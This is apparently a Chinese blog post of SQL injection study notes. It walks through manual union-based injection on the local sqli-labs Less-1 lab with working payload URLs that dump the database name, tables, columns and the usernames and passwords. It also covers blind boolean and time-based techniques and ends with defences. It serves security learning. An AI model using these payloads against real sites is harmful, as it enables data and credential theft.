vlambda博客
学习文章列表

SQL注入学习笔记---概述


一. 基本概念

(一)前提:

1, 前端传入后端的参数是用户可控的;
2, 传入的参数拼接到SQL语句,且带入数据库查询。

(二)成因:

由于WEB应用程序对用户输入的数据的合法性没有判断,用户通过可控参数中注入SQL语句,破坏原有SQL结构,达到编写程序时意料之外结果的攻击行为,
成因归结为两个:
1、程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造SQL语句。
2、未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中。

(三)过程:

从宏观角度:



从攻击者的角度

1,判断是否存在SQL注入,以及寻找SQL注入点;
SQL注入学习笔记---概述
测试数据不仅限于以上几种,并且还有多种变化。

例如,以sqli-labs的lesson-1为例,手工注入的过程如下:

当输入单引号’(27%)时,报错:

http://127.0.0.1/sqli-labs/Less-1/?id=1’ and 1=1 --+

http://127.0.0.1/sqli-labs/Less-1/?id=1’ and 1=2 --+
SQL注入学习笔记---概述

很显然,这是属于数字型显错注入。

2:猜解数据库字段数:

http://127.0.0.1/sqli-labs/Less-1/?id=1%27 order by 1 --+

当order by 3时,

SQL注入学习笔记---概述

当order by 4时,出错,所以有3个字段:
SQL注入学习笔记---概述

3:寻找可控参数

http://127.0.0.1/sqli-labs/Less-1/?id=-1%27 union select 1,2,3 --+
SQL注入学习笔记---概述

可见,第2,3字段为可控制字段。

4:利用可控字段,爆出数据库名:

http://127.0.0.1/sqli-labs/Less-1/?id=-1%27 union select 1,database(),3 --+
SQL注入学习笔记---概述

5:利用可控参数,爆出数据库中的表名:

http://127.0.0.1/sqli-labs/Less-1/?id=-1%27 union select 1,database(),group_concat(table_name)from information_schema.tables where table_schema=database() --+
SQL注入学习笔记---概述

6:爆出表中的字段

http://127.0.0.1/sqli-labs/Less-1/?id=-1%27 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’ --+

7:爆出字段中的内容

http://127.0.0.1/sqli-labs/Less-1/?id=-1%27 union select 1,2,group_concat(username,password) from users --+


当然,这只是SQL注入获取数据库敏感信息的攻击过程,针对所要达成的攻击效果,例如,获取网站权限,执行命令,获取服务器权限,有不同的方式和过程。

(四)本质:

代码与数据不区分。

二、SQL注入分类

1、参数类型分类

数字型注入:输入参数为整型时,如Id、年龄和页码等;
数字型例句如下
select * from table where id = 8
字符型注入:输入参数为字符串型时,如姓名、职业、住址等;
字符型例句如下
select * from table where name =’admin’

两者最大的区别:字符型注入一般要使用单引号进行闭合,而数字型注入则不需要。

2、注入位置分类

GET注入:注入字符在URL参数中;
POST注入:注入字段在POSt提交的数据中;
Cookie注入:注入字段在Cookie数据中,网站使用通用的防注入程序,会对GET、POST提交的数据进行过滤,却往往遗漏Cookie中的数据进行过滤。
其他注入:HTTP请求的其他内容触发的SQL注入漏洞;

3、结果反馈分类

明注入:也称报错注入,会在数据库报错时在页面显示出具体的报错内容。
盲注入:盲注入不会展现任何数据库报错内容,它是依据构造真或假的问题对数据库进行“提问”,注入方式主要有两种:基于布尔值与基于时间。
(1)布尔值
如在MySQL中判断数据名长度的输入为1’ and length(database()) = 10 #,通过相应的正确与否判断数据名的长度是否为10,猜测数据库中数据的具体内容时,可以借助SUBSTR、LIMIT、ASCII等一些特殊的命令及函数进行猜测;

(2)基于时间
基于时间的SQL盲注入方式通常是在SQL语句中添加延时函数,依据相应时间来判断是否存在SQL注入,常用的延时函数或指令有sleep、repeat等。
总结:盲注入提交SQL命令较多,通常通过手工方式无法完成,借用工具如SQLMAP。

4、其他类型

延时注入:使用延时函数方式;
搜索注入:注入点在搜索框中;
编码注入:将输入的字符串进行编码,如base64编码;
堆查询注入:同时执行多条语句;
联合查询注入:使用union操作码合并两条或多条SQL语句;
多阶注入:由多个HTTP请求响应共同完成的注入;

三、SQL注入的危害

1, 泄露数据库敏感信息;
2, 恶意的篡改网页;
3, 写入网站后门。服务器被远程控制;
4, 破坏硬盘数据、使系统瘫痪。

四. SQL注入的防御

1)开发阶段
在编码阶段需要对输入进行细致的验证,使用静态查询,如使用参数化声明。
遵循“最小权限准则”,即只赋予应用程序完成其功能的最基本权限。例如:不要使用root权限访问数据库、为数据表设定限制的可读/可写权限、慎用数据库存储过程等。
2)测试阶段
  在测试阶段采用以下两种方式确保Web应用程序代码的安全性:第一,采用源代码审核方式,从编程者角度审视代码是否存在漏洞;第二,执行渗透测试,从攻击者角度检查代码的安全性。需要注意的是,尽管完成以上两步,仍不能确保100%的安全,但这两种方法对于确保应用程序质量是必须的。
3)产品化阶段
  在产品化阶段,Web应用程序已经正常上线,并对外提供服务。但还是会发现Web应用存在安全隐患,此时整改代码对各类组织来说已经不现实了,因为需要付出较大代价。这时,可以部署专用的Web应用防火墙(Web Application Firewall,简称WAF),以大幅提升Web应用的安全等级。